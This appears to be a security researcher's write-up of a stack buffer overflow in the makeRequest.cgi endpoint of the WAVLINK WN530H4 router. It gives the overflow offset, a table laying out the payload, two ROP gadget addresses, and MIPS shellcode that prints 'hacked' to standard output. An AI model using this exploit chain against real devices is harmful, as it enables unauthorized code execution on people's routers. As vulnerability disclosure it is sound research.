This vulnerability is a Buffer Overflow vulnerability in the WAVLINK WN530H4 router.

There is a buffer overflow vulnerability in /cgi-bin/makeRequest.cgi. The overflow occurs in the main function, where it reads the CONTENT_LENGTH environmental variable that comes from a POST request in the browser. There is an fgets call at 0x406888 that reads an arbitrarily long string of size CONTENT_LENGTH into a fixed buffer on the stack of size 512.

We can replicate this bug in GDB for testing purposes. As seen, the instruction pointer on the stack is overwritten with a series of “A” characters (ascii 0x41) and the CPU attempts to jump to this address after popping it off the stack.

Overrun Buffer

Armed with this knowledge, we can formulate our payload. Because ASLR is enabled for libraries and for the stack, we must utilize ROP to jump to our payload. Fortunately for us, DEP is not enabled, making the stack executable.

Return Oriented Programming (ROP) is a technique in which addresses in the program’s instruction memory are utilized to perform an attack. This is useful for when ASLR only randomizes stack space and not instruction space, like in this case. ROP is generally more useful with larger binaries, which is the case for the makeRequest.cgi binary.

In this case, we will use ROP to jump to the stack. To do this, we need to find special sections of code, called “gadgets” that perform useful tasks. I am trying to find a sequence of gadgets that allow us to jump to a particular stack location. Fortunately, I found a sequence of gadgets that increment the stack pointer, and then jump to a location on the stack that we control.

To craft this attack, we must place addresses on the stack in specific locations. Fortunately, we can predict what the stack will look like. We know that 564 characters can overflow the buffer before the first return pointer is overwritten. Additionally, the stack pointer will point to the first four bytes after the return address is overwritten. Essentially, we will have to craft an attack that looks like the table below.

Please note that this payload is sloppy, doesn’t land 100% of the time, and can certainly be improved. This is mainly for proof of concept demonstration.

Location Size Description Data
0 0x11A bytes Payload
0x11A 0x11A bytes Data and padding hacked\x0a
0x234 0x04 bytes The address of the first gadget 0x4050d8
0x238 ($sp) 0x94 bytes Aligning the next address “A”*0x94
0x2CC ($sp+0x94) 0x04 bytes The address of the second gadget 0x40214c
0x2D0 ($sp+0x98) 0x20 bytes Aligning the next address “A”*0x20
0x2F0 ($sp+0xB8) 0x18 bytes We can only run 6 instructions.
0x308 ($sp+0xD0) 0x04 bytes The stack address to jump to (predetermined at runtime)

As noted in the table, there are two ROP gadgets. The first is at address 0x4050d8 and the second is at 0x40214c

First gadget at 0x4050d8

lw      $ra, 0x94($sp)
lw      $s2, 0x90($sp)
lw      $s1, 0x8C($sp)
lw      $s0, 0x88($sp)
jr      $ra
addiu   $sp, $sp, 0x98

Second gadget at 0x40214c

lw      $ra, 0x38($sp)
lw      $s3, 0x34($sp)
lw      $s2, 0x30($sp)
lw      $s1, 0x2C($sp)
lw      $s0, 0x28($sp)
jr      $ra
addiu   $sp, $sp, 0x40

Next, we have to come up with an adequate payload. At 0x2F0, we will construct a payload that jumps to a bigger area on the stack that we control, shown below.

addiu   $ra,$ra,-752
jr      $ra

At this point, the CPU jumped to the location of our real payload. The attack payload simply writes 7 bytes hacked\a to standard out (fd 1). It additionally allows for up to 1000 bytes to be written to standard out, allowing the attacker to increase their payload size. The code for this attack is seen below.

addiu   $sp, $ra, 0x11A
li      $v0, 4004
li      $a0, 1
move    $a1, $sp
li      $a2, 1000
syscall                 ; write(1, $sp, 1000)
li      $v0, 4001
xor     $a0, $a0, $a0
syscall                 ; exit(0)

After compiling the payload, we can submit it as data to the web-server under the makeRequest.cgi endpoint. Unfortunately, the code does not execute with certainty 100% of the time. I believe this is due to the stack address that the program attempts to jump to; it may not be completely deterministic. However, we can execute the payload more than once if we encapsulate it in a script.

Below we show the attack in action. Of course, a nefarious user could change the shellcode to be even worse.


The final script is located on my GitHub.

For more information and vulnerability analysis, please see my report on the WAVLINK WN530H4.